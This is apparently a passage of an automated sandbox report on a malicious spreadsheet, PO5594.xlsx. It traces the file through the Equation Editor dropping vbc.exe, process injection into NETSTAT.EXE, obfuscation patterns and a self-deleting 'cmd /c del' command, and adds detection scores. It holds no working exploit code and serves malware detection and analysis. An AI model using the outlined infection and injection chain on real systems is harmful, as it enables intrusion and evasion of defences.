Source: C:\Users\Public\vbc.exe Code function: 5_2_0080CBA4 5_2_0080CBA4
Source: C:\Users\Public\vbc.exe Code function: 5_2_00787B00 5_2_00787B00
Source: C:\Users\Public\vbc.exe Code function: 5_2_0075FBD7 5_2_0075FBD7
Source: C:\Users\Public\vbc.exe Code function: 5_2_007EDBDA 5_2_007EDBDA
Source: C:\Users\Public\vbc.exe Code function: 5_2_007E6BCB 5_2_007E6BCB
Source: C:\Users\Public\vbc.exe Code function: 5_2_0076CD5B 5_2_0076CD5B
Source: C:\Users\Public\vbc.exe Code function: 5_2_00790D3B 5_2_00790D3B
Source: C:\Users\Public\vbc.exe Code function: 5_2_007FFDDD 5_2_007FFDDD
Source: C:\Users\Public\vbc.exe Code function: 5_2_0077EE4C 5_2_0077EE4C
Source: C:\Users\Public\vbc.exe Code function: 5_2_00792E2F 5_2_00792E2F
Source: C:\Users\Public\vbc.exe Code function: 5_2_0078DF7C 5_2_0078DF7C
Source: C:\Users\Public\vbc.exe Code function: 5_2_00770F3F 5_2_00770F3F
Source: C:\Users\Public\vbc.exe Code function: 5_2_007D2FDC 5_2_007D2FDC
Source: C:\Users\Public\vbc.exe Code function: 5_2_007FCFB1 5_2_007FCFB1
Source: C:\Users\Public\vbc.exe Code function: 5_1_00401030 5_1_00401030
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041C0F7 5_1_0041C0F7
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041C5C5 5_1_0041C5C5
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041C9AF 5_1_0041C9AF
Source: C:\Users\Public\vbc.exe Code function: 5_1_00408C7C 5_1_00408C7C
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041BC19 5_1_0041BC19
Source: C:\Users\Public\vbc.exe Code function: 5_1_00408C80 5_1_00408C80
Source: C:\Users\Public\vbc.exe Code function: 5_1_00402D87 5_1_00402D87
Source: C:\Users\Public\vbc.exe Code function: 5_1_00402D90 5_1_00402D90
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041BEF9 5_1_0041BEF9
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041CFD6 5_1_0041CFD6
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041CFD9 5_1_0041CFD9
Source: C:\Users\Public\vbc.exe Code function: 5_1_00402FB0 5_1_00402FB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_023A1238 7_2_023A1238
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022FE2E9 7_2_022FE2E9
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02302305 7_2_02302305
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0234A37B 7_2_0234A37B
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02307353 7_2_02307353
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_023A63BF 7_2_023A63BF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022FF3CF 7_2_022FF3CF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_023263DB 7_2_023263DB
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0232D005 7_2_0232D005
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0231905A 7_2_0231905A
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02303040 7_2_02303040
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022FE0C6 7_2_022FE0C6
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0234A634 7_2_0234A634
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_023A2622 7_2_023A2622
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02304680 7_2_02304680
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0230E6C1 7_2_0230E6C1
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0230C7BC 7_2_0230C7BC
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0238579A 7_2_0238579A
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_023357C3 7_2_023357C3
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0238443E 7_2_0238443E
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0233D47D 7_2_0233D47D
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02335485 7_2_02335485
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02311489 7_2_02311489
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0230351F 7_2_0230351F
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02346540 7_2_02346540
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0231C5F0 7_2_0231C5F0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_023B3A83 7_2_023B3A83
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02327B00 7_2_02327B00
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_023ACBA4 7_2_023ACBA4
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0238DBDA 7_2_0238DBDA
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022FFBD7 7_2_022FFBD7
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0232286D 7_2_0232286D
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0230C85C 7_2_0230C85C
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0239F8EE 7_2_0239F8EE
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02385955 7_2_02385955
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0238394B 7_2_0238394B
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_023029B2 7_2_023029B2
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_023A098E 7_2_023A098E
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_023169FE 7_2_023169FE
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02332E2F 7_2_02332E2F
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0231EE4C 7_2_0231EE4C
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02310F3F 7_2_02310F3F
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0232DF7C 7_2_0232DF7C
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0239CFB1 7_2_0239CFB1
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02372FDC 7_2_02372FDC
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_02330D3B 7_2_02330D3B
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0230CD5B 7_2_0230CD5B
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0239FDDD 7_2_0239FDDD
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0009C9AF 7_2_0009C9AF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_00088C7C 7_2_00088C7C
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_00088C80 7_2_00088C80
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_00082D87 7_2_00082D87
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_00082D90 7_2_00082D90
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_00082FB0 7_2_00082FB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0009CFD9 7_2_0009CFD9
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: String function: 02343F92 appears 132 times
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: String function: 0234373B appears 244 times
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: String function: 022FE2A8 appears 38 times
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: String function: 0236F970 appears 84 times
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: String function: 022FDF5C appears 119 times
Source: C:\Users\Public\vbc.exe Code function: String function: 0041A390 appears 38 times
Source: C:\Users\Public\vbc.exe Code function: String function: 007A3F92 appears 132 times
Source: C:\Users\Public\vbc.exe Code function: String function: 007CF970 appears 84 times
Source: C:\Users\Public\vbc.exe Code function: String function: 0075DF5C appears 123 times
Source: C:\Users\Public\vbc.exe Code function: String function: 0075E2A8 appears 38 times
Source: C:\Users\Public\vbc.exe Code function: String function: 007A373B appears 245 times
Source: C:\Users\Public\vbc.exe Code function: String function: 0041A4C0 appears 38 times
Contains functionality to call native functions
Source: C:\Users\Public\vbc.exe Code function: 5_2_004185E0 NtCreateFile, 5_2_004185E0
Source: C:\Users\Public\vbc.exe Code function: 5_2_00418690 NtReadFile, 5_2_00418690
Source: C:\Users\Public\vbc.exe Code function: 5_2_00418710 NtClose, 5_2_00418710
Source: C:\Users\Public\vbc.exe Code function: 5_2_004187C0 NtAllocateVirtualMemory, 5_2_004187C0
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041868A NtReadFile, 5_2_0041868A
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041870A NtClose, 5_2_0041870A
Source: C:\Users\Public\vbc.exe Code function: 5_2_004187BB NtAllocateVirtualMemory, 5_2_004187BB
Source: C:\Users\Public\vbc.exe Code function: 5_2_00750078 NtResumeThread,LdrInitializeThunk, 5_2_00750078
Source: C:\Users\Public\vbc.exe Code function: 5_2_00750048 NtProtectVirtualMemory,LdrInitializeThunk, 5_2_00750048
Source: C:\Users\Public\vbc.exe Code function: 5_2_007500C4 NtCreateFile,LdrInitializeThunk, 5_2_007500C4
Source: C:\Users\Public\vbc.exe Code function: 5_2_007507AC NtCreateMutant,LdrInitializeThunk, 5_2_007507AC
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074F900 NtReadFile,LdrInitializeThunk, 5_2_0074F900
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074F9F0 NtClose,LdrInitializeThunk, 5_2_0074F9F0
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FAE8 NtQueryInformationProcess,LdrInitializeThunk, 5_2_0074FAE8
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 5_2_0074FAD0
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FB68 NtFreeVirtualMemory,LdrInitializeThunk, 5_2_0074FB68
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FBB8 NtQueryInformationToken,LdrInitializeThunk, 5_2_0074FBB8
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FC60 NtMapViewOfSection,LdrInitializeThunk, 5_2_0074FC60
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FC90 NtUnmapViewOfSection,LdrInitializeThunk, 5_2_0074FC90
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FDC0 NtQuerySystemInformation,LdrInitializeThunk, 5_2_0074FDC0
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FD8C NtDelayExecution,LdrInitializeThunk, 5_2_0074FD8C
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 5_2_0074FED0
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FEA0 NtReadVirtualMemory,LdrInitializeThunk, 5_2_0074FEA0
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FFB4 NtCreateSection,LdrInitializeThunk, 5_2_0074FFB4
Source: C:\Users\Public\vbc.exe Code function: 5_2_00750060 NtQuerySection, 5_2_00750060
Source: C:\Users\Public\vbc.exe Code function: 5_2_007510D0 NtOpenProcessToken, 5_2_007510D0
Source: C:\Users\Public\vbc.exe Code function: 5_2_00751148 NtOpenThread, 5_2_00751148
Source: C:\Users\Public\vbc.exe Code function: 5_2_0075010C NtOpenDirectoryObject, 5_2_0075010C
Source: C:\Users\Public\vbc.exe Code function: 5_2_007501D4 NtSetValueKey, 5_2_007501D4
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074F8CC NtWaitForSingleObject, 5_2_0074F8CC
Source: C:\Users\Public\vbc.exe Code function: 5_2_00751930 NtSetContextThread, 5_2_00751930
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074F938 NtWriteFile, 5_2_0074F938
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FA50 NtEnumerateValueKey, 5_2_0074FA50
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FA20 NtQueryInformationFile, 5_2_0074FA20
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FAB8 NtQueryValueKey, 5_2_0074FAB8
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FB50 NtCreateKey, 5_2_0074FB50
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FBE8 NtQueryVirtualMemory, 5_2_0074FBE8
Source: C:\Users\Public\vbc.exe Code function: 5_2_00750C40 NtGetContextThread, 5_2_00750C40
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FC48 NtSetInformationFile, 5_2_0074FC48
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FC30 NtOpenProcess, 5_2_0074FC30
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FD5C NtEnumerateKey, 5_2_0074FD5C
Source: C:\Users\Public\vbc.exe Code function: 5_2_00751D80 NtSuspendThread, 5_2_00751D80
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FE24 NtWriteVirtualMemory, 5_2_0074FE24
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FF34 NtQueueApcThread, 5_2_0074FF34
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074FFFC NtCreateProcessEx, 5_2_0074FFFC
Source: C:\Users\Public\vbc.exe Code function: 5_1_004185E0 NtCreateFile, 5_1_004185E0
Source: C:\Users\Public\vbc.exe Code function: 5_1_00418690 NtReadFile, 5_1_00418690
Source: C:\Users\Public\vbc.exe Code function: 5_1_00418710 NtClose, 5_1_00418710
Source: C:\Users\Public\vbc.exe Code function: 5_1_004187C0 NtAllocateVirtualMemory, 5_1_004187C0
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041868A NtReadFile, 5_1_0041868A
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041870A NtClose, 5_1_0041870A
Source: C:\Users\Public\vbc.exe Code function: 5_1_004187BB NtAllocateVirtualMemory, 5_1_004187BB
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022F00C4 NtCreateFile,LdrInitializeThunk, 7_2_022F00C4
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022F07AC NtCreateMutant,LdrInitializeThunk, 7_2_022F07AC
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFAB8 NtQueryValueKey,LdrInitializeThunk, 7_2_022EFAB8
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFAE8 NtQueryInformationProcess,LdrInitializeThunk, 7_2_022EFAE8
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 7_2_022EFAD0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFB68 NtFreeVirtualMemory,LdrInitializeThunk, 7_2_022EFB68
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFB50 NtCreateKey,LdrInitializeThunk, 7_2_022EFB50
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFBB8 NtQueryInformationToken,LdrInitializeThunk, 7_2_022EFBB8
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EF900 NtReadFile,LdrInitializeThunk, 7_2_022EF900
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EF9F0 NtClose,LdrInitializeThunk, 7_2_022EF9F0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 7_2_022EFED0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFFB4 NtCreateSection,LdrInitializeThunk, 7_2_022EFFB4
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFC60 NtMapViewOfSection,LdrInitializeThunk, 7_2_022EFC60
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFD8C NtDelayExecution,LdrInitializeThunk, 7_2_022EFD8C
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFDC0 NtQuerySystemInformation,LdrInitializeThunk, 7_2_022EFDC0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022F0060 NtQuerySection, 7_2_022F0060
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022F0078 NtResumeThread, 7_2_022F0078
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022F0048 NtProtectVirtualMemory, 7_2_022F0048
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022F10D0 NtOpenProcessToken, 7_2_022F10D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022F010C NtOpenDirectoryObject, 7_2_022F010C
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022F1148 NtOpenThread, 7_2_022F1148
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022F01D4 NtSetValueKey, 7_2_022F01D4
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFA20 NtQueryInformationFile, 7_2_022EFA20
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFA50 NtEnumerateValueKey, 7_2_022EFA50
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFBE8 NtQueryVirtualMemory, 7_2_022EFBE8
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EF8CC NtWaitForSingleObject, 7_2_022EF8CC
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EF938 NtWriteFile, 7_2_022EF938
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022F1930 NtSetContextThread, 7_2_022F1930
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFE24 NtWriteVirtualMemory, 7_2_022EFE24
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFEA0 NtReadVirtualMemory, 7_2_022EFEA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFF34 NtQueueApcThread, 7_2_022EFF34
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFFFC NtCreateProcessEx, 7_2_022EFFFC
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFC30 NtOpenProcess, 7_2_022EFC30
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFC48 NtSetInformationFile, 7_2_022EFC48
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022F0C40 NtGetContextThread, 7_2_022F0C40
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFC90 NtUnmapViewOfSection, 7_2_022EFC90
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022EFD5C NtEnumerateKey, 7_2_022EFD5C
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022F1D80 NtSuspendThread, 7_2_022F1D80
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_000985E0 NtCreateFile, 7_2_000985E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_00098690 NtReadFile, 7_2_00098690
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_00098710 NtClose, 7_2_00098710
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_000987C0 NtAllocateVirtualMemory, 7_2_000987C0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0009868A NtReadFile, 7_2_0009868A
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0009870A NtClose, 7_2_0009870A
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_000987BB NtAllocateVirtualMemory, 7_2_000987BB
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\Public\vbc.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: PO5594.xlsx Virustotal: Detection: 32%
Source: PO5594.xlsx ReversingLabs: Detection: 29%
Source: C:\Users\Public\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\NETSTAT.EXE C:\Windows\SysWOW64\NETSTAT.EXE
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$PO5594.xlsx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRDA57.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLSX@9/20@4/5
Source: C:\Users\Public\vbc.exe Code function: 4_2_00402053 CoCreateInstance,MultiByteToWideChar, 4_2_00402053
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_00404292 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 4_2_00404292
Source: PO5594.xlsx Joe Sandbox Cloud Basic: Detection: clean Score: 0 Perma Link
Source: explorer.exe, 00000006.00000000.543228196.0000000002AE0000.00000002.00020000.sdmp Binary or memory string: .VBPud<_
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: netstat.pdb source: vbc.exe, 00000005.00000002.507848304.00000000004C9000.00000004.00000020.sdmp
Source: Binary string: wntdll.pdb source: vbc.exe, NETSTAT.EXE

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\vbc.exe Code function: 4_2_730591B5 push ecx; ret 4_2_730591C8
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B822 push eax; ret 5_2_0041B828
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B82B push eax; ret 5_2_0041B892
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B88C push eax; ret 5_2_0041B892
Source: C:\Users\Public\vbc.exe Code function: 5_2_004181F3 push es; ret 5_2_004181FA
Source: C:\Users\Public\vbc.exe Code function: 5_2_004153B2 push 36635107h; retf 5_2_004153B7
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B7D5 push eax; ret 5_2_0041B828
Source: C:\Users\Public\vbc.exe Code function: 5_2_0075DFA1 push ecx; ret 5_2_0075DFB4
Source: C:\Users\Public\vbc.exe Code function: 5_1_004181F3 push es; ret 5_1_004181FA
Source: C:\Users\Public\vbc.exe Code function: 5_1_004153B2 push 36635107h; retf 5_1_004153B7
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B7D5 push eax; ret 5_1_0041B828
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B822 push eax; ret 5_1_0041B828
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B82B push eax; ret 5_1_0041B892
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B88C push eax; ret 5_1_0041B892
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022FDFA1 push ecx; ret 7_2_022FDFB4
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0009C076 push ss; ret 7_2_0009C080
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_000981F3 push es; ret 7_2_000981FA
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_000953B2 push 36635107h; retf 7_2_000953B7
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0009C546 push cs; iretd 7_2_0009C547
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0009B7D5 push eax; ret 7_2_0009B828
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0009B82B push eax; ret 7_2_0009B892
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0009B822 push eax; ret 7_2_0009B828
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_0009B88C push eax; ret 7_2_0009B892
PE file contains an invalid checksum
Source: vbc.exe.2.dr Static PE information: real checksum: 0x0 should be: 0x4c259
Source: xggenq.dll.4.dr Static PE information: real checksum: 0x1f5f8 should be: 0x23b20
Source: vbc[1].exe.2.dr Static PE information: real checksum: 0x0 should be: 0x4c259

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\nskF049.tmp\xggenq.dll Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival:

barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
